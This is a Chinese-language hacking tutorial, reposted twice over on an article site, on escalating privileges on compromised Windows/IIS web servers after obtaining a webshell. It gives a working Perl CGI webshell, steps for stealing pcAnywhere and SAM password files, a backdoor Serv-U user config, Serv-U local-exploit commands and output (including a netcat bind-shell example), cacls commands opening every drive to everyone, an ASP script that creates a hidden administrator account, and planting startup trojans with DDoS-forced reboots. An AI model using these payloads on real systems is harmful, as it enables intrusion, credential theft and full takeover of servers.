提升(web)权限终极9技巧
程序员文章站
2022-03-30 09:48:59
当我们取得一个webshell时候,下一部要做的就是提升权限 个人总结如下: 1: c:\documents and ...
当我们取得一个webshell时候,下一部要做的就是提升权限
个人总结如下:
1: c:\documents and settings\all users\application data\symantec\pcanywhere 看能否跳转到这个目录,如果行那就最好了,直接下它的cif文件,得到pcanywhere密码,登陆
2.c:\winnt\system32\config进这里下它的sam,破解用户的密码
用到破解sam密码的软件有lc,saminside
3.c:\documents and settings\all users\「开始」菜单\程序 看这里能跳转不,我们从这里可以获取好多有用的信息
可以看见好多快捷方式,我们一般选择serv-u的,然后本地查看属性,知道路径后,看能否跳转
进去后,如果有权限修改servudaemon.ini,加个用户上去,密码为空
[user=wekwen|1]
password=
homedir=c:timeout=600
maintenance=system
access1=c:\|rwamelcdp
access1=d:\|rwamelcdp
access1=f:\|rwamelcdp
skeyvalues=
这个用户具有最高权限,然后我们就可以ftp上去 quote site exec xxx 来提升权限
4.c:\winnt\system32\inetsrv\data就是这个目录,同样是erveryone 完全控制,我们所要做的就是把提升权限的工具上传上去,然后执行
5.看能否跳转到如下目录
c:\php, 用phpspy
c:\prel,有时候不一定是这个目录(同样可以通过下载快捷方式看属性获知)用cgi的webshell
#!/usr/bin/perl
binmode(stdout);
syswrite(stdout, "content-type: text/html\r\n\r\n", 27);
$_ = $env{query_string};
s/%20/ /ig;
s/%2f/\//ig;
$execthis = $_;
syswrite(stdout, "<html><pre>\r\n", 13);
open(stderr, ">&stdout") || die "can't redirect stderr";
system($execthis);
syswrite(stdout, "\r\n</pre></html>\r\n", 17);
close(stderr);
close(stdout);
exit;
保存为cgi执行,
如果不行,可以试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir
显示"拒绝访问",表示可以执行了!马上提交:先的上传个su.exe(ser-u提升权限的工具)到 prel的bin目录
http://anyhost//cmd.pl?c\perl\bin\su.exe
返回:
serv-u >3.x local exploit by xiaolu
usage: serv-u.exe "command"
example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"
现在是 iusr 权限,提交:
http://anyhost//cmd.pl?c\perl\bin\su.exe "cacls.exe c: /e /t /g everyone:f"
http://anyhost//cmd.pl?c\perl\bin\su.exe "cacls.exe d: /e /t /g everyone:f"
http://anyhost//cmd.pl?c\perl\bin\su.exe "cacls.exe e: /e /t /g everyone:f"
http://anyhost//cmd.pl?c\perl\bin\su.exe "cacls.exe f: /e /t /g everyone:f"
如果返回下面的信息,就表示成功了
serv-u >3.x local exploit by xiaolu
<220 serv-u ftp server v5.2 for winsock ready...
>user localadministrator
<331 user name okay, need password.
******************************************************
>pass #l@$ak#.lk;0@p
<230 user logged in, proceed.
******************************************************
>site maintenance
******************************************************
[+] creating new domain...
<200-domainid=2
<220 domain settings saved
******************************************************
[+] domain xl:2 created
[+] creating evil user
<200-user=xl
200 user settings saved
******************************************************
[+] now exploiting...
>user xl
<331 user name okay, need password.
******************************************************
>pass 111111
<230 user logged in, proceed.
******************************************************
[+] now executing: cacls.exe c: /e /t /g everyone:f
<220 domain deleted
这样所有分区为everyone完全控制
现在我们把自己的用户提升为管理员:
http://anyhost//cmd.pl?c\perl\bin\su.exe " net localgroup administrators iusr_anyhost /add"
6.可以成功运行"cscript c:\inetpub\adminscripts\adsutil.vbs get w3svc/inprocessisapiapps"来提升权限
用这个cscript c:\inetpub\adminscripts\adsutil.vbs get w3svc/inprocessisapiapps
查看有特权的dll文件:idq.dll httpext.dll httpodbc.dll ssinc.dll msw3prt.dll
再将asp.dll加入特权一族
asp.dll是放在c:\winnt\system32\inetsrv\asp.dll (不同的机子放的位置不一定一样)
我们现在加进去cscript adsutil.vbs set /w3svc/inprocessisapiapps "c:\winnt\system32\idq.dll" "c:\winnt\system32\inetsrv\httpext.dll" "c:\winnt\system32\inetsrv\httpodbc.dll" "c:\winnt\system32\inetsrv\ssinc.dll" "c:\winnt\system32\msw3prt.dll""c:\winnt\system32\inetsrv\asp.dll"
可以用cscript adsutil.vbs get /w3svc/inprocessisapiapps 来查看是不是加进去了
7.还可以用这段代码试提升,好象效果不明显
<<%response.expires=0">%@codepage=936%><%response.expires=0
on error resume next
session.timeout=50
server.scripttimeout=3000
set lp=server.createobject("wscript.network")
oz="winnt://"&lp.computername
set ob=getobject(oz)
set oe=getobject(oz&"/administrators,group")
set od=ob.create("user","wekwen$")
od.setpassword "wekwen" <-----密码
od.setinfo
set of=getobject(oz&"/wekwen$,user")
oe.add(of.adspath)
response.write "wekwen$ 超级帐号建立成功!"%>
用这段代码检查是否提升成功
<%@codepage=936%>
<%response.expires=0
on error resume next '查找administrators组帐号
set tn=server.createobject("wscript.network")
set objgroup=getobject("winnt://"&tn.computername&"/administrators,group")
for each admin in objgroup.members
response.write admin.name&"<br>"
next
if err then
response.write "不行啊:wscript.network"
end if
%>
8.c:\program files\java web start这里如果可以,一般很小,可以尝试用jsp的webshell,听说权限很小,本人没有遇见过。
9.最后了,如果主机设置很变态,可以试下在c:\documents and settings\all users\「开始」菜单\程序\启动"写入bat,vbs等木马。
等到主机重启或者你ddos逼它重启,来达到权限提升的目的。
个人总结如下:
1: c:\documents and settings\all users\application data\symantec\pcanywhere 看能否跳转到这个目录,如果行那就最好了,直接下它的cif文件,得到pcanywhere密码,登陆
2.c:\winnt\system32\config进这里下它的sam,破解用户的密码
用到破解sam密码的软件有lc,saminside
3.c:\documents and settings\all users\「开始」菜单\程序 看这里能跳转不,我们从这里可以获取好多有用的信息
可以看见好多快捷方式,我们一般选择serv-u的,然后本地查看属性,知道路径后,看能否跳转
进去后,如果有权限修改servudaemon.ini,加个用户上去,密码为空
[user=wekwen|1]
password=
homedir=c:timeout=600
maintenance=system
access1=c:\|rwamelcdp
access1=d:\|rwamelcdp
access1=f:\|rwamelcdp
skeyvalues=
这个用户具有最高权限,然后我们就可以ftp上去 quote site exec xxx 来提升权限
4.c:\winnt\system32\inetsrv\data就是这个目录,同样是erveryone 完全控制,我们所要做的就是把提升权限的工具上传上去,然后执行
5.看能否跳转到如下目录
c:\php, 用phpspy
c:\prel,有时候不一定是这个目录(同样可以通过下载快捷方式看属性获知)用cgi的webshell
#!/usr/bin/perl
binmode(stdout);
syswrite(stdout, "content-type: text/html\r\n\r\n", 27);
$_ = $env{query_string};
s/%20/ /ig;
s/%2f/\//ig;
$execthis = $_;
syswrite(stdout, "<html><pre>\r\n", 13);
open(stderr, ">&stdout") || die "can't redirect stderr";
system($execthis);
syswrite(stdout, "\r\n</pre></html>\r\n", 17);
close(stderr);
close(stdout);
exit;
保存为cgi执行,
如果不行,可以试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir
显示"拒绝访问",表示可以执行了!马上提交:先的上传个su.exe(ser-u提升权限的工具)到 prel的bin目录
http://anyhost//cmd.pl?c\perl\bin\su.exe
返回:
serv-u >3.x local exploit by xiaolu
usage: serv-u.exe "command"
example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"
现在是 iusr 权限,提交:
http://anyhost//cmd.pl?c\perl\bin\su.exe "cacls.exe c: /e /t /g everyone:f"
http://anyhost//cmd.pl?c\perl\bin\su.exe "cacls.exe d: /e /t /g everyone:f"
http://anyhost//cmd.pl?c\perl\bin\su.exe "cacls.exe e: /e /t /g everyone:f"
http://anyhost//cmd.pl?c\perl\bin\su.exe "cacls.exe f: /e /t /g everyone:f"
如果返回下面的信息,就表示成功了
serv-u >3.x local exploit by xiaolu
<220 serv-u ftp server v5.2 for winsock ready...
>user localadministrator
<331 user name okay, need password.
******************************************************
>pass #l@$ak#.lk;0@p
<230 user logged in, proceed.
******************************************************
>site maintenance
******************************************************
[+] creating new domain...
<200-domainid=2
<220 domain settings saved
******************************************************
[+] domain xl:2 created
[+] creating evil user
<200-user=xl
200 user settings saved
******************************************************
[+] now exploiting...
>user xl
<331 user name okay, need password.
******************************************************
>pass 111111
<230 user logged in, proceed.
******************************************************
[+] now executing: cacls.exe c: /e /t /g everyone:f
<220 domain deleted
这样所有分区为everyone完全控制
现在我们把自己的用户提升为管理员:
http://anyhost//cmd.pl?c\perl\bin\su.exe " net localgroup administrators iusr_anyhost /add"
6.可以成功运行"cscript c:\inetpub\adminscripts\adsutil.vbs get w3svc/inprocessisapiapps"来提升权限
用这个cscript c:\inetpub\adminscripts\adsutil.vbs get w3svc/inprocessisapiapps
查看有特权的dll文件:idq.dll httpext.dll httpodbc.dll ssinc.dll msw3prt.dll
再将asp.dll加入特权一族
asp.dll是放在c:\winnt\system32\inetsrv\asp.dll (不同的机子放的位置不一定一样)
我们现在加进去cscript adsutil.vbs set /w3svc/inprocessisapiapps "c:\winnt\system32\idq.dll" "c:\winnt\system32\inetsrv\httpext.dll" "c:\winnt\system32\inetsrv\httpodbc.dll" "c:\winnt\system32\inetsrv\ssinc.dll" "c:\winnt\system32\msw3prt.dll""c:\winnt\system32\inetsrv\asp.dll"
可以用cscript adsutil.vbs get /w3svc/inprocessisapiapps 来查看是不是加进去了
7.还可以用这段代码试提升,好象效果不明显
<<%response.expires=0">%@codepage=936%><%response.expires=0
on error resume next
session.timeout=50
server.scripttimeout=3000
set lp=server.createobject("wscript.network")
oz="winnt://"&lp.computername
set ob=getobject(oz)
set oe=getobject(oz&"/administrators,group")
set od=ob.create("user","wekwen$")
od.setpassword "wekwen" <-----密码
od.setinfo
set of=getobject(oz&"/wekwen$,user")
oe.add(of.adspath)
response.write "wekwen$ 超级帐号建立成功!"%>
用这段代码检查是否提升成功
<%@codepage=936%>
<%response.expires=0
on error resume next '查找administrators组帐号
set tn=server.createobject("wscript.network")
set objgroup=getobject("winnt://"&tn.computername&"/administrators,group")
for each admin in objgroup.members
response.write admin.name&"<br>"
next
if err then
response.write "不行啊:wscript.network"
end if
%>
8.c:\program files\java web start这里如果可以,一般很小,可以尝试用jsp的webshell,听说权限很小,本人没有遇见过。
9.最后了,如果主机设置很变态,可以试下在c:\documents and settings\all users\「开始」菜单\程序\启动"写入bat,vbs等木马。
等到主机重启或者你ddos逼它重启,来达到权限提升的目的。